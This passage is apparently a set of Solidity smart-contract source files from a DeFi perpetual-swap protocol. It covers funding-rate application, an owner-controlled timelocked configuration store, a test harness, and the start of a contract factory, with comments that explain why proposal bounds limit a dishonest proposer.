_getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral)); } function getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt) external view nonReentrantView() returns (FixedPoint.Unsigned memory totalCollateral) { return _getFundingRateAppliedTokenDebt(rawTokenDebt); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire // position if the entire position is being removed. Does not make any external transfers. function _reduceSponsorPosition( address sponsor, FixedPoint.Unsigned memory tokensToRemove, FixedPoint.Unsigned memory collateralToRemove, FixedPoint.Unsigned memory withdrawalAmountToRemove ) internal { PositionData storage positionData = _getPositionData(sponsor); // If the entire position is being removed, delete it instead. if ( tokensToRemove.isEqual(positionData.tokensOutstanding) && _getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove) ) { _deleteSponsorPosition(sponsor); return; } // Decrement the sponsor's collateral and global collateral amounts. _decrementCollateralBalances(positionData, collateralToRemove); // Ensure that the sponsor will meet the min position size after the reduction. positionData.tokensOutstanding = positionData.tokensOutstanding.sub(tokensToRemove); require(positionData.tokensOutstanding.isGreaterThanOrEqual(minSponsorTokens)); // Decrement the position's withdrawal amount. positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove); // Decrement the total outstanding tokens in the overall contract. totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove); } // Deletes a sponsor's position and updates global counters. Does not make any external transfers. function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) { PositionData storage positionToLiquidate = _getPositionData(sponsor); FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral); // Remove the collateral and outstanding from the overall total position. rawTotalPositionCollateral = rawTotalPositionCollateral.sub(positionToLiquidate.rawCollateral); totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding); // Reset the sponsors position to have zero outstanding and collateral. delete positions[sponsor]; emit EndedSponsorPosition(sponsor); // Return fee-adjusted amount of collateral deleted from position. return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral)); } function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalPositionCollateral); } function _getPositionData(address sponsor) internal view onlyCollateralizedPosition(sponsor) returns (PositionData storage) { return positions[sponsor]; } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } function _getOracle() internal view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } function _getFinancialContractsAdminAddress() internal view returns (address) { return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin); } // Requests a price for `priceIdentifier` at `requestedTime` from the Oracle. function _requestOraclePrice(uint256 requestedTime) internal { _getOracle().requestPrice(priceIdentifier, requestedTime); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory price) { // Create an instance of the oracle and get the price. If the price is not resolved revert. int256 oraclePrice = _getOracle().getPrice(priceIdentifier, requestedTime); // For now we don't want to deal with negative prices in positions. if (oraclePrice < 0) { oraclePrice = 0; } return FixedPoint.Unsigned(uint256(oraclePrice)); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOracleEmergencyShutdownPrice() internal view returns (FixedPoint.Unsigned memory) { return _getOraclePrice(emergencyShutdownTimestamp); } // Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0. function _resetWithdrawalRequest(PositionData storage positionData) internal { positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0); positionData.withdrawalRequestPassTimestamp = 0; } // Ensure individual and global consistency when increasing collateral balances. Returns the change to the position. function _incrementCollateralBalances( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _addCollateral(positionData.rawCollateral, collateralAmount); return _addCollateral(rawTotalPositionCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the // position. We elect to return the amount that the global collateral is decreased by, rather than the individual // position's collateral, because we need to maintain the invariant that the global collateral is always // <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn. function _decrementCollateralBalances( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(positionData.rawCollateral, collateralAmount); return _removeCollateral(rawTotalPositionCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position. // This function is similar to the _decrementCollateralBalances function except this function checks position GCR // between the decrements. This ensures that collateral removal will not leave the position undercollateralized. function _decrementCollateralBalancesCheckGCR( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(positionData.rawCollateral, collateralAmount); require(_checkPositionCollateralization(positionData), "CR below GCR"); return _removeCollateral(rawTotalPositionCollateral, collateralAmount); } // These internal functions are supposed to act identically to modifiers, but re-used modifiers // unnecessarily increase contract bytecode size. // source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 function _onlyCollateralizedPosition(address sponsor) internal view { require(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0)); } // Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the // `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral // or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`. function _positionHasNoPendingWithdrawal(address sponsor) internal view { require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0); } /**************************************** * PRIVATE FUNCTIONS * ****************************************/ function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) { return _checkCollateralization( _getFeeAdjustedCollateral(positionData.rawCollateral), positionData.tokensOutstanding ); } // Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global // collateralization ratio. function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens) private view returns (bool) { FixedPoint.Unsigned memory global = _getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding); FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens); return !global.isGreaterThan(thisChange); } function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens) private pure returns (FixedPoint.Unsigned memory ratio) { return numTokens.isLessThanOrEqual(0) ? FixedPoint.fromUnscaledUint(0) : collateral.div(numTokens); } function _getTokenAddress() internal view override returns (address) { return address(tokenCurrency); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/utils/SafeCast.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../common/implementation/Lockable.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/Testable.sol"; import "../../oracle/implementation/Constants.sol"; import "../../oracle/interfaces/OptimisticOracleInterface.sol"; import "../perpetual-multiparty/ConfigStoreInterface.sol"; import "./EmergencyShutdownable.sol"; import "./FeePayer.sol"; /** * @title FundingRateApplier contract. * @notice Provides funding rate payment functionality for the Perpetual contract. */ abstract contract FundingRateApplier is EmergencyShutdownable, FeePayer { using FixedPoint for FixedPoint.Unsigned; using FixedPoint for FixedPoint.Signed; using SafeERC20 for IERC20; using SafeMath for uint256; /**************************************** * FUNDING RATE APPLIER DATA STRUCTURES * ****************************************/ struct FundingRate { // Current funding rate value. FixedPoint.Signed rate; // Identifier to retrieve the funding rate. bytes32 identifier; // Tracks the cumulative funding payments that have been paid to the sponsors. // The multiplier starts at 1, and is updated by computing cumulativeFundingRateMultiplier * (1 + effectivePayment). // Put another way, the cumulativeFeeMultiplier is (1 + effectivePayment1) * (1 + effectivePayment2) ... // For example: // The cumulativeFundingRateMultiplier should start at 1. // If a 1% funding payment is paid to sponsors, the multiplier should update to 1.01. // If another 1% fee is charged, the multiplier should be 1.01^2 (1.0201). FixedPoint.Unsigned cumulativeMultiplier; // Most recent time that the funding rate was updated. uint256 updateTime; // Most recent time that the funding rate was applied and changed the cumulative multiplier. uint256 applicationTime; // The time for the active (if it exists) funding rate proposal. 0 otherwise. uint256 proposalTime; } FundingRate public fundingRate; // Remote config store managed an owner. ConfigStoreInterface public configStore; /**************************************** * EVENTS * ****************************************/ event FundingRateUpdated(int256 newFundingRate, uint256 indexed updateTime, uint256 reward); /**************************************** * MODIFIERS * ****************************************/ // This is overridden to both pay fees (which is done by applyFundingRate()) and apply the funding rate. modifier fees override { // Note: the funding rate is applied on every fee-accruing transaction, where the total change is simply the // rate applied linearly since the last update. This implies that the compounding rate depends on the frequency // of update transactions that have this modifier, and it never reaches the ideal of continuous compounding. // This approximate-compounding pattern is common in the Ethereum ecosystem because of the complexity of // compounding data on-chain. applyFundingRate(); _; } // Note: this modifier is intended to be used if the caller intends to _only_ pay regular fees. modifier paysRegularFees { payRegularFees(); _; } /** * @notice Constructs the FundingRateApplier contract. Called by child contracts. * @param _fundingRateIdentifier identifier that tracks the funding rate of this contract. * @param _collateralAddress address of the collateral token. * @param _finderAddress Finder used to discover financial-product-related contracts. * @param _configStoreAddress address of the remote configuration store managed by an external owner. * @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index). * @param _timerAddress address of the timer contract in test envs, otherwise 0x0. */ constructor( bytes32 _fundingRateIdentifier, address _collateralAddress, address _finderAddress, address _configStoreAddress, FixedPoint.Unsigned memory _tokenScaling, address _timerAddress ) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) EmergencyShutdownable() { uint256 currentTime = getCurrentTime(); fundingRate.updateTime = currentTime; fundingRate.applicationTime = currentTime; // Seed the cumulative multiplier with the token scaling, from which it will be scaled as funding rates are // applied over time. fundingRate.cumulativeMultiplier = _tokenScaling; fundingRate.identifier = _fundingRateIdentifier; configStore = ConfigStoreInterface(_configStoreAddress); } /** * @notice This method takes 3 distinct actions: * 1. Pays out regular fees. * 2. If possible, resolves the outstanding funding rate proposal, pulling the result in and paying out the rewards. * 3. Applies the prevailing funding rate over the most recent period. */ function applyFundingRate() public paysRegularFees() nonReentrant() { _applyEffectiveFundingRate(); } /** * @notice Proposes a new funding rate. Proposer receives a reward if correct. * @param rate funding rate being proposed. * @param timestamp time at which the funding rate was computed. */ function proposeFundingRate(FixedPoint.Signed memory rate, uint256 timestamp) external fees() nonReentrant() returns (FixedPoint.Unsigned memory totalBond) { require(fundingRate.proposalTime == 0, "Proposal in progress"); _validateFundingRate(rate); // Timestamp must be after the last funding rate update time, within the last 30 minutes. uint256 currentTime = getCurrentTime(); uint256 updateTime = fundingRate.updateTime; require( timestamp > updateTime && timestamp >= currentTime.sub(_getConfig().proposalTimePastLimit), "Invalid proposal time" ); // Set the proposal time in order to allow this contract to track this request. fundingRate.proposalTime = timestamp; OptimisticOracleInterface optimisticOracle = _getOptimisticOracle(); // Set up optimistic oracle. bytes32 identifier = fundingRate.identifier; bytes memory ancillaryData = _getAncillaryData(); // Note: requestPrice will revert if `timestamp` is less than the current block timestamp. optimisticOracle.requestPrice(identifier, timestamp, ancillaryData, collateralCurrency, 0); totalBond = FixedPoint.Unsigned( optimisticOracle.setBond( identifier, timestamp, ancillaryData, _pfc().mul(_getConfig().proposerBondPercentage).rawValue ) ); // Pull bond from caller and send to optimistic oracle. if (totalBond.isGreaterThan(0)) { collateralCurrency.safeTransferFrom(msg.sender, address(this), totalBond.rawValue); collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), totalBond.rawValue); } optimisticOracle.proposePriceFor( msg.sender, address(this), identifier, timestamp, ancillaryData, rate.rawValue ); } // Returns a token amount scaled by the current funding rate multiplier. // Note: if the contract has paid fees since it was deployed, the raw value should be larger than the returned value. function _getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt) internal view returns (FixedPoint.Unsigned memory tokenDebt) { return rawTokenDebt.mul(fundingRate.cumulativeMultiplier); } function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) { return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle)); } function _getConfig() internal returns (ConfigStoreInterface.ConfigSettings memory) { return configStore.updateAndGetCurrentConfig(); } function _updateFundingRate() internal { uint256 proposalTime = fundingRate.proposalTime; // If there is no pending proposal then do nothing. Otherwise check to see if we can update the funding rate. if (proposalTime != 0) { // Attempt to update the funding rate. OptimisticOracleInterface optimisticOracle = _getOptimisticOracle(); bytes32 identifier = fundingRate.identifier; bytes memory ancillaryData = _getAncillaryData(); // Try to get the price from the optimistic oracle. This call will revert if the request has not resolved // yet. If the request has not resolved yet, then we need to do additional checks to see if we should // "forget" the pending proposal and allow new proposals to update the funding rate. try optimisticOracle.settleAndGetPrice(identifier, proposalTime, ancillaryData) returns (int256 price) { // If successful, determine if the funding rate state needs to be updated. // If the request is more recent than the last update then we should update it. uint256 lastUpdateTime = fundingRate.updateTime; if (proposalTime >= lastUpdateTime) { // Update funding rates fundingRate.rate = FixedPoint.Signed(price); fundingRate.updateTime = proposalTime; // If there was no dispute, send a reward. FixedPoint.Unsigned memory reward = FixedPoint.fromUnscaledUint(0); OptimisticOracleInterface.Request memory request = optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData); if (request.disputer == address(0)) { reward = _pfc().mul(_getConfig().rewardRatePerSecond).mul(proposalTime.sub(lastUpdateTime)); if (reward.isGreaterThan(0)) { _adjustCumulativeFeeMultiplier(reward, _pfc()); collateralCurrency.safeTransfer(request.proposer, reward.rawValue); } } // This event will only be emitted after the fundingRate struct's "updateTime" has been set // to the latest proposal's proposalTime, indicating that the proposal has been published. // So, it suffices to just emit fundingRate.updateTime here. emit FundingRateUpdated(fundingRate.rate.rawValue, fundingRate.updateTime, reward.rawValue); } // Set proposal time to 0 since this proposal has now been resolved. fundingRate.proposalTime = 0; } catch { // Stop tracking and allow other proposals to come in if: // - The requester address is empty, indicating that the Oracle does not know about this funding rate // request. This is possible if the Oracle is replaced while the price request is still pending. // - The request has been disputed. OptimisticOracleInterface.Request memory request = optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData); if (request.disputer != address(0) || request.proposer == address(0)) { fundingRate.proposalTime = 0; } } } } // Constraining the range of funding rates limits the PfC for any dishonest proposer and enhances the // perpetual's security. For example, let's examine the case where the max and min funding rates // are equivalent to +/- 500%/year. This 1000% funding rate range allows a 8.6% profit from corruption for a // proposer who can deter honest proposers for 74 hours: // 1000%/year / 360 days / 24 hours * 74 hours max attack time = ~ 8.6%. // How would attack work? Imagine that the market is very volatile currently and that the "true" funding // rate for the next 74 hours is -500%, but a dishonest proposer successfully proposes a rate of +500% // (after a two hour liveness) and disputes honest proposers for the next 72 hours. This results in a funding // rate error of 1000% for 74 hours, until the DVM can set the funding rate back to its correct value. function _validateFundingRate(FixedPoint.Signed memory rate) internal { require( rate.isLessThanOrEqual(_getConfig().maxFundingRate) && rate.isGreaterThanOrEqual(_getConfig().minFundingRate) ); } // Fetches a funding rate from the Store, determines the period over which to compute an effective fee, // and multiplies the current multiplier by the effective fee. // A funding rate < 1 will reduce the multiplier, and a funding rate of > 1 will increase the multiplier. // Note: 1 is set as the neutral rate because there are no negative numbers in FixedPoint, so we decide to treat // values < 1 as "negative". function _applyEffectiveFundingRate() internal { // If contract is emergency shutdown, then the funding rate multiplier should no longer change. if (emergencyShutdownTimestamp != 0) { return; } uint256 currentTime = getCurrentTime(); uint256 paymentPeriod = currentTime.sub(fundingRate.applicationTime); _updateFundingRate(); // Update the funding rate if there is a resolved proposal. fundingRate.cumulativeMultiplier = _calculateEffectiveFundingRate( paymentPeriod, fundingRate.rate, fundingRate.cumulativeMultiplier ); fundingRate.applicationTime = currentTime; } function _calculateEffectiveFundingRate( uint256 paymentPeriodSeconds, FixedPoint.Signed memory fundingRatePerSecond, FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier ) internal pure returns (FixedPoint.Unsigned memory newCumulativeFundingRateMultiplier) { // Note: this method uses named return variables to save a little bytecode. // The overall formula that this function is performing: // newCumulativeFundingRateMultiplier = // (1 + (fundingRatePerSecond * paymentPeriodSeconds)) * currentCumulativeFundingRateMultiplier. FixedPoint.Signed memory ONE = FixedPoint.fromUnscaledInt(1); // Multiply the per-second rate over the number of seconds that have elapsed to get the period rate. FixedPoint.Signed memory periodRate = fundingRatePerSecond.mul(SafeCast.toInt256(paymentPeriodSeconds)); // Add one to create the multiplier to scale the existing fee multiplier. FixedPoint.Signed memory signedPeriodMultiplier = ONE.add(periodRate); // Max with 0 to ensure the multiplier isn't negative, then cast to an Unsigned. FixedPoint.Unsigned memory unsignedPeriodMultiplier = FixedPoint.fromSigned(FixedPoint.max(signedPeriodMultiplier, FixedPoint.fromUnscaledInt(0))); // Multiply the existing cumulative funding rate multiplier by the computed period multiplier to get the new // cumulative funding rate multiplier. newCumulativeFundingRateMultiplier = currentCumulativeFundingRateMultiplier.mul(unsignedPeriodMultiplier); } function _getAncillaryData() internal view returns (bytes memory) { // Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address // whose funding rate it's trying to get. return abi.encodePacked(_getTokenAddress()); } function _getTokenAddress() internal view virtual returns (address); } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's uintXX casting operators with added overflow * checks. * * Downcasting from uint256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} to extend it to smaller types, by performing * all math on `uint256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; interface ConfigStoreInterface { // All of the configuration settings available for querying by a perpetual. struct ConfigSettings { // Liveness period (in seconds) for an update to currentConfig to become official. uint256 timelockLiveness; // Reward rate paid to successful proposers. Percentage of 1 E.g., .1 is 10%. FixedPoint.Unsigned rewardRatePerSecond; // Bond % (of given contract's PfC) that must be staked by proposers. Percentage of 1, e.g. 0.0005 is 0.05%. FixedPoint.Unsigned proposerBondPercentage; // Maximum funding rate % per second that can be proposed. FixedPoint.Signed maxFundingRate; // Minimum funding rate % per second that can be proposed. FixedPoint.Signed minFundingRate; // Funding rate proposal timestamp cannot be more than this amount of seconds in the past from the latest // update time. uint256 proposalTimePastLimit; } function updateAndGetCurrentConfig() external returns (ConfigSettings memory); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title EmergencyShutdownable contract. * @notice Any contract that inherits this contract will have an emergency shutdown timestamp state variable. * This contract provides modifiers that can be used by children contracts to determine if the contract is * in the shutdown state. The child contract is expected to implement the logic that happens * once a shutdown occurs. */ abstract contract EmergencyShutdownable { using SafeMath for uint256; /**************************************** * EMERGENCY SHUTDOWN DATA STRUCTURES * ****************************************/ // Timestamp used in case of emergency shutdown. 0 if no shutdown has been triggered. uint256 public emergencyShutdownTimestamp; /**************************************** * MODIFIERS * ****************************************/ modifier notEmergencyShutdown() { _notEmergencyShutdown(); _; } modifier isEmergencyShutdown() { _isEmergencyShutdown(); _; } /**************************************** * EXTERNAL FUNCTIONS * ****************************************/ constructor() public { emergencyShutdownTimestamp = 0; } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ function _notEmergencyShutdown() internal view { // Note: removed require string to save bytecode. require(emergencyShutdownTimestamp == 0); } function _isEmergencyShutdown() internal view { // Note: removed require string to save bytecode. require(emergencyShutdownTimestamp != 0); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../common/FundingRateApplier.sol"; import "../../common/implementation/FixedPoint.sol"; // Implements FundingRateApplier internal methods to enable unit testing. contract FundingRateApplierTest is FundingRateApplier { constructor( bytes32 _fundingRateIdentifier, address _collateralAddress, address _finderAddress, address _configStoreAddress, FixedPoint.Unsigned memory _tokenScaling, address _timerAddress ) public FundingRateApplier( _fundingRateIdentifier, _collateralAddress, _finderAddress, _configStoreAddress, _tokenScaling, _timerAddress ) {} function calculateEffectiveFundingRate( uint256 paymentPeriodSeconds, FixedPoint.Signed memory fundingRatePerSecond, FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier ) public pure returns (FixedPoint.Unsigned memory) { return _calculateEffectiveFundingRate( paymentPeriodSeconds, fundingRatePerSecond, currentCumulativeFundingRateMultiplier ); } // Required overrides. function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory currentPfc) { return FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this))); } function emergencyShutdown() external override {} function remargin() external override {} function _getTokenAddress() internal view override returns (address) { return address(collateralCurrency); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./ConfigStoreInterface.sol"; import "../../common/implementation/Testable.sol"; import "../../common/implementation/Lockable.sol"; import "../../common/implementation/FixedPoint.sol"; /** * @notice ConfigStore stores configuration settings for a perpetual contract and provides an interface for it * to query settings such as reward rates, proposal bond sizes, etc. The configuration settings can be upgraded * by a privileged account and the upgraded changes are timelocked. */ contract ConfigStore is ConfigStoreInterface, Testable, Lockable, Ownable { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; /**************************************** * STORE DATA STRUCTURES * ****************************************/ // Make currentConfig private to force user to call getCurrentConfig, which returns the pendingConfig // if its liveness has expired. ConfigStoreInterface.ConfigSettings private currentConfig; // Beginning on `pendingPassedTimestamp`, the `pendingConfig` can be published as the current config. ConfigStoreInterface.ConfigSettings public pendingConfig; uint256 public pendingPassedTimestamp; /**************************************** * EVENTS * ****************************************/ event ProposedNewConfigSettings( address indexed proposer, uint256 rewardRatePerSecond, uint256 proposerBondPercentage, uint256 timelockLiveness, int256 maxFundingRate, int256 minFundingRate, uint256 proposalTimePastLimit, uint256 proposalPassedTimestamp ); event ChangedConfigSettings( uint256 rewardRatePerSecond, uint256 proposerBondPercentage, uint256 timelockLiveness, int256 maxFundingRate, int256 minFundingRate, uint256 proposalTimePastLimit ); /**************************************** * MODIFIERS * ****************************************/ // Update config settings if possible. modifier updateConfig() { _updateConfig(); _; } /** * @notice Construct the Config Store. An initial configuration is provided and set on construction. * @param _initialConfig Configuration settings to initialize `currentConfig` with. * @param _timerAddress Address of testable Timer contract. */ constructor(ConfigSettings memory _initialConfig, address _timerAddress) public Testable(_timerAddress) { _validateConfig(_initialConfig); currentConfig = _initialConfig; } /** * @notice Returns current config or pending config if pending liveness has expired. * @return ConfigSettings config settings that calling financial contract should view as "live". */ function updateAndGetCurrentConfig() external override updateConfig() nonReentrant() returns (ConfigStoreInterface.ConfigSettings memory) { return currentConfig; } /** * @notice Propose new configuration settings. New settings go into effect after a liveness period passes. * @param newConfig Configuration settings to publish after `currentConfig.timelockLiveness` passes from now. * @dev Callable only by owner. Calling this while there is already a pending proposal will overwrite the pending proposal. */ function proposeNewConfig(ConfigSettings memory newConfig) external onlyOwner() nonReentrant() updateConfig() { _validateConfig(newConfig); // Warning: This overwrites a pending proposal! pendingConfig = newConfig; // Use current config's liveness period to timelock this proposal. pendingPassedTimestamp = getCurrentTime().add(currentConfig.timelockLiveness); emit ProposedNewConfigSettings( msg.sender, newConfig.rewardRatePerSecond.rawValue, newConfig.proposerBondPercentage.rawValue, newConfig.timelockLiveness, newConfig.maxFundingRate.rawValue, newConfig.minFundingRate.rawValue, newConfig.proposalTimePastLimit, pendingPassedTimestamp ); } /** * @notice Publish any pending configuration settings if there is a pending proposal that has passed liveness. */ function publishPendingConfig() external nonReentrant() updateConfig() {} /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Check if pending proposal can overwrite the current config. function _updateConfig() internal { // If liveness has passed, publish proposed configuration settings. if (_pendingProposalPassed()) { currentConfig = pendingConfig; _deletePendingConfig(); emit ChangedConfigSettings( currentConfig.rewardRatePerSecond.rawValue, currentConfig.proposerBondPercentage.rawValue, currentConfig.timelockLiveness, currentConfig.maxFundingRate.rawValue, currentConfig.minFundingRate.rawValue, currentConfig.proposalTimePastLimit ); } } function _deletePendingConfig() internal { delete pendingConfig; pendingPassedTimestamp = 0; } function _pendingProposalPassed() internal view returns (bool) { return (pendingPassedTimestamp != 0 && pendingPassedTimestamp <= getCurrentTime()); } // Use this method to constrain values with which you can set ConfigSettings. function _validateConfig(ConfigStoreInterface.ConfigSettings memory config) internal pure { // We don't set limits on proposal timestamps because there are already natural limits: // - Future: price requests to the OptimisticOracle must be in the past---we can't add further constraints. // - Past: proposal times must always be after the last update time, and a reasonable past limit would be 30 // mins, meaning that no proposal timestamp can be more than 30 minutes behind the current time. // Make sure timelockLiveness is not too long, otherwise contract might not be able to fix itself // before a vulnerability drains its collateral. require(config.timelockLiveness <= 7 days && config.timelockLiveness >= 1 days, "Invalid timelockLiveness"); // The reward rate should be modified as needed to incentivize honest proposers appropriately. // Additionally, the rate should be less than 100% a year => 100% / 360 days / 24 hours / 60 mins / 60 secs // = 0.0000033 FixedPoint.Unsigned memory maxRewardRatePerSecond = FixedPoint.fromUnscaledUint(33).div(1e7); require(config.rewardRatePerSecond.isLessThan(maxRewardRatePerSecond), "Invalid rewardRatePerSecond"); // We don't set a limit on the proposer bond because it is a defense against dishonest proposers. If a proposer // were to successfully propose a very high or low funding rate, then their PfC would be very high. The proposer // could theoretically keep their "evil" funding rate alive indefinitely by continuously disputing honest // proposers, so we would want to be able to set the proposal bond (equal to the dispute bond) higher than their // PfC for each proposal liveness window. The downside of not limiting this is that the config store owner // can set it arbitrarily high and preclude a new funding rate from ever coming in. We suggest setting the // proposal bond based on the configuration's funding rate range like in this discussion: // https://github.com/UMAprotocol/protocol/issues/2039#issuecomment-719734383 // We also don't set a limit on the funding rate max/min because we might need to allow very high magnitude // funding rates in extraordinarily volatile market situations. Note, that even though we do not bound // the max/min, we still recommend that the deployer of this contract set the funding rate max/min values // to bound the PfC of a dishonest proposer. A reasonable range might be the equivalent of [+200%/year, -200%/year]. } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/interfaces/ExpandedIERC20.sol"; import "../../common/interfaces/IERC20Standard.sol"; import "../../oracle/implementation/ContractCreator.sol"; import "../../common/implementation/Testable.sol"; import "../../common/implementation/AddressWhitelist.sol"; import "../../common/implementation/Lockable.sol"; import "../common/TokenFactory.sol"; import "../common/SyntheticToken.sol"; import "./PerpetualLib.sol"; import "./ConfigStore.sol"; /** * @title Perpetual Contract creator. * @notice Factory contract to create and register new instances of perpetual contracts. * Responsible for constraining the parameters used to construct a new perpetual. This creator contains a number of constraints * that are applied to newly created contract. These constraints can evolve over time and are * initially constrained to conservative values in this first iteration. Technically there is nothing in the * Perpetual contract requiring these constraints. However, because `createPerpetual()` is intended * to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract), we can enforce deployment configurations here. */ contract PerpetualCreator is ContractCreator, Testable, Lockable { using FixedPoint for FixedPoint.Unsigned; /**************************************** * PERP CREATOR DATA STRUCTURES * ****************************************/ // Immutable params for perpetual contract. struct Params { address collateralAddress; bytes32 priceFeedIdentifier; bytes32 fundingRateIdentifier; string syntheticName; string syntheticSymbol; FixedPoint.Unsigned collateralRequirement; 